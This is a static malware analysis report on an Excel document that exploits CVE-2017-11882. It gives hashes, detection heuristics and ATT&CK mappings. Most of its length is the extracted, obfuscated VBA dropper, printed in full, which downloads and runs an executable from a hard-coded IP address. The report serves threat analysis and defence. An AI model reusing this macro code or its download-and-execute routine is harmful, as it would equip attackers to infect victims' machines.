Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 714157567cc5e595…

MALICIOUS

Office (OOXML)

48.8 KB Created: 2020-02-01 18:28:07 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2020-07-24
MD5: 21d693611049004afca05b813a0fb485 SHA-1: 7889c8d745fa601135b270c92c6a87439ca73244 SHA-256: 714157567cc5e595a41ba9faccd4df66a682e9c6f1f939f2f1cdf85d5642aeea
452 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel document containing a VBA macro with an Auto_Open subroutine. This subroutine leverages the CVE-2017-11882 vulnerability in the Equation Editor OLE object to execute a command. The command attempts to rename a temporary file and then execute a script from it, likely to download and run a second-stage payload from the embedded URL http://198.12.66.109/nKeYpjZjYiPtCBn.exe.

Heuristics 12

  • CVE-2017-11882 — Equation Editor command stager critical CVE likely CVE_2017_11882_EQUATION_NATIVE_CMD
    Embedded Equation Editor OLE data contains an invalid Equation Native/MTEF stream with an embedded command stager. This is likely CVE-2017-11882 exploitation because the vulnerable Equation Editor component is reached and the malformed native stream directly carries process-launch bytes.
  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Embedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
  • ClamAV: Xls.Dropper.Sdrop-9451844-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Sdrop-9451844-0
  • Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECT
    This document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    jeojrvbsl4 = jeojrvbsl4 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
Sub Auto_Open()
jeojrvbsl4 = jeojrvbsl4 + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '0000
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://198.12.66.109/nKeYpjZjYiPtCBn.exe In document text (OOXML body / shared strings)

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 30068 bytes
SHA-256: d31c33f5a3a58a17ffcda112e28ba3d2e8a13b36a5c0f86ba4ea1510981c2939
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Sub SaveWorkshetAsPDF()
Dim ws As Worksheet
For Each ws In Worksheets
'ws.ExportAsFixedFormat xlTypePDF, "C:UsersSumitDesktopTest" & ws.Name & ".pdf"
Next ws
End Sub
Sub Auto_Open()
jeojrvbsl4 = jeojrvbsl4 + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "cft6ygvcr4rcvfgyu = ""aHR0cDovLzE5OC4xMi42Ni4xMDkvbktlWXBqWmpZaVB0Q0JuLmV4ZQ=="" " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "hj435fy43geu87r5i =""WXBqWmpZaVB0Q0JuLmV4ZQ==""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "bgfjeryhj57r6uj55jry6jr = ""b""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""in""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""."" " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""ba""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""se""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""64"" " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "dim cftcfrfcfrfcfr, path" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "cftcfrfcfrfcfr = ""later""  '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "dim fjnffbeuiv54gt5kyurrhtibg4ug6g, f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "cftcfrfcfrfcfr = ""later"":Sub grgergre28u38kDecode(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323) " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Dim vvfebtrfdhbtrdfg, oriutoiuy87t34gr4y367, hyuifiuygwhjekriu" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    rightieiehtegy33gy = "")""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    quoieiehtegy33gy = """"""""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    yehrfjdks = ""s""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    bgfcvbhgfd = ""e"" + ""t lsksjegefectvvjdk"" + "" = """ + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    yehrfjdks = yehrfjdks + bgfcvbhgfd + mgyftgcdrfsrthgfrty + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(yehrfjdks) " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    aaax = ""ADODB.Stream"" '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    novarue = ""Node""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    nvceuwkbfweu = ""novarue = novarue + """"TypedValue""""""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(nvceuwkbfweu)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    wwityetygehrer = ""ieeeeeeeeehhhhhfgfg"" + "" = lsksjegefectvvjdk."" + novarue" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(wwityetygehrer)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + " fjnffbeuiv54gt5kyurrhtibg4ug6g = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            mgyftgcdrfsrthgfrty = ""CreateObject""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            veuriieug34jr = ""Set baax = """ + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            veuriieug34jr = veuriieug34jr + mgyftgcdrfsrthgfrty + ""(aaax)""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(veuriieug34jr) '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            djdufyfe67u3yhu = ""baax.Type = 1:baax.Open:baax.Wr"" + ""ite ieeeeeeeeehhhhhfgfg""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(djdufyfe67u3yhu)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Position = 0" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Type = 2 ' adTypeText" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            outembxoov5e983evcd = ""fjnffbeuiv54gt5kyurrhtibg4ug6g = baax."" + ""ReadText""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(outembxoov5e983evcd) '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Close" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    End If" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "end sub" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "Sub kjjjjjjjjjjjjjjjjjj(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Dim vvfebtrfdhbtrdfg " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8"" '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + " " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    rightieiehtegy33gy = "")""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    quoieiehtegy33gy = """"""""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    jiwgft7hgyf367r = ""Set lsksjegefectvvjdk = """ + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(jiwgft7hgyf367r + mgyftgcdrfsrthgfrty + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh) " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    aaax = ""ADODB.Stream""  '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    novarue = ""Node""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(""ieeeeeeeeehhhhhfgfg = lsksjegefectvvjdk."" + novarue) '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            mgyftgcdrfsrthgfrty = ""CreateObject""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            ksjdfuihrege9ur = ""Set baax = """ + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(ksjdfuihrege9ur + mgyftgcdrfsrthgfrty + ""(aaax)"") " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Type = 1 ' adTypeBinary '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(""baax."" + ""Open"") " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(""baax."" + ""Write ieeeeeeeeehhhhhfgfg"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Position = 0 '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Type = 2 ' adTypeText" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            Execute(""f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = baax."" + ""ReadText"") " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "            baax.Close" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    End If" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "end sub" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "Execute(""call "" + ""grgergre28u38kDecode(hj435fy43geu87r5i,False)""):call kjjjjjjjjjjjjjjjjjj(cft6ygvcr4rcvfgyu,False) " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "Sub xdecd( dfgerge, vcvxcv )" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   cobvar = ""Scripting."" + ""FileSystemObject""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Set fso = CreateObject(cobvar) " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   path = ""C""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   path = path + "":""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   path = path + ""\program""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Execute(""path = path + """"data\asc"""" + """".txt"""""")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Execute(""gybghbgyh = fso.File"" + ""Exists(path)"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   If(gybghbgyh) Then" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "      Execute(""fso.DeleteFile(path)"") '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "      msg = path & "" exists.""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "      Execute(""gtyjnhjkfirejhrrhy=dfgerge:uytrfghjhfrtyhgf=vcvxcv"") " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "      skivreuifyue43u = ""W""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "      skivreuifyue43u = skivreuifyue43u + ""Script""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       skivreuifyue43u = skivreuifyue43u + "".""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       m = skivreuifyue43u + ""Sh""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       varforell = ""e"" + ""l""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       varforell = varforell + Right(varforell, 1)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       m = m + varforell '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       Execute(""l=m"")  '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "       set lkhnjhgfdrtyujh = CreateObject(l)" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Else" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "      msg = path & "" doesn't exist.""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   End If" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Dim i, objFile, objFSO, skivreuifyue43u, strFile, strMsg" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Const ForReading = 1, ForWriting = 2, ForAppending = 8 " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    slashy = ""/""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Set objFSO = CreateObject(cobvar) '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(""ggfffffffffggggggg = objFSO.Folder"" + ""Exists(uytrfghjhfrtyhgf)"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(""hdlkvgbfndm = objFSO.Folder"" + ""Exists( Left( uytrfghjhfrtyhgf, InStrRev( uytrfghjhfrtyhgf, """"\"""" ) - 1 ) )"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    If(ggfffffffffggggggg) Then" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        fje4ue783hu73 = ""Path(""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        fje4ue783hu73 = fje4ue783hu73 +  ""gtyjnhjkfirejhrrhy, InStrRev( gtyjnhjkfirejhrrhy, slashy ) + 1 ) )""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        obvrva = "" = objFSO""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        Execute(""strFile"" + obvrva + ""."" + ""Build"" + fje4ue783hu73) '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    ElseIf(hdlkvgbfndm) Then" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        strFile = uytrfghjhfrtyhgf" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Else" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "        Exit Sub" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    End If" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Set skivreuifyue43u = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   'Set skivreuifyue43u = CreateObject( ""Microsoft.XMLHTTP"" )" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   dim stream_obj" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   ado = ""ADODB.Stream"" " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Execute(""set stream_obj = CreateObject(ado)"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(""skivreuifyue43u."" + ""Open """"GET"""", gtyjnhjkfirejhrrhy, False"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "    Execute(""skivreuifyue43u."" + ""Send"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   stream_obj.type = 1" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Execute(""stream_obj."" + ""open"") '249473" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Execute(""stream_obj."" + ""write"" + "" skivreuifyue43u.Respons"" + ""eBody"") " + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "   Execute(""stream_obj.save"" + ""tof"" + ""ile strFile, 2"")" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "End Sub" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "dieueehniv = ""exec """ + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "mancan = ""lkhnjhgfdrtyujh."" + dieueehniv + ""hj435fy43geu87r5i""" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "hj435fy43geu87r5i = ""C:\progra"" + ""mdata\""+fjnffbeuiv54gt5kyurrhtibg4ug6g" + vbCrLf '0000
jeojrvbsl4 = jeojrvbsl4 + "Execute(""xdecd f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF, hj435fy43geu87r5i:dim lkhnjhgfdrtyujh:xax = mancan:Execute(xax)"")" + vbCrLf '0000

    On Error Resume Next
mddjekfr = "........................................................."
bieufehur3 = ""
If hournow > -2322 Then
    bieufehur3 = bieufehur3 & Left(mddjekfr, 1)
    bieufehur3 = bieufehur3 & "s"
    bieufehur3 = bieufehur3 & "h"
    bieufehur3 = bieufehur3 + "e"
    bieufehur3 = bieufehur3 + "ll"
End If

Range("A1:C1").Select '249473
Dim vch
vch = "b"
Selection.Font.Name = "Arial" '249473
Selection.Font.Bold = True
Selection.Interior.Color = vbGreen
xzxz = "W"
xzxz = xzxz & "scr"
xzxz = xzxz & "ipt"
xzxz = xzxz & bieufehur3
hournow = Hour(Time()) '249473
If hournow > -1 Then
    yyyyvar = "e "
End If
If hournow < 25 Then
x = "C:\program"
x = x + "data" '249473
x = x + "\asc.txt"
xxxxxpath = "Windows\"
Path = "C:\" + xxxxxpath + "System32\c" + "script" + ".ex"
Path = Path + yyyyvar
End If

Dim i As Integer '249473
'ii = InputBox("Enter Value", "Enter Serial Numbers")

Handler:
Dim gfdgfdgdf As Object
ajdbey84jwgw = "Scri"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
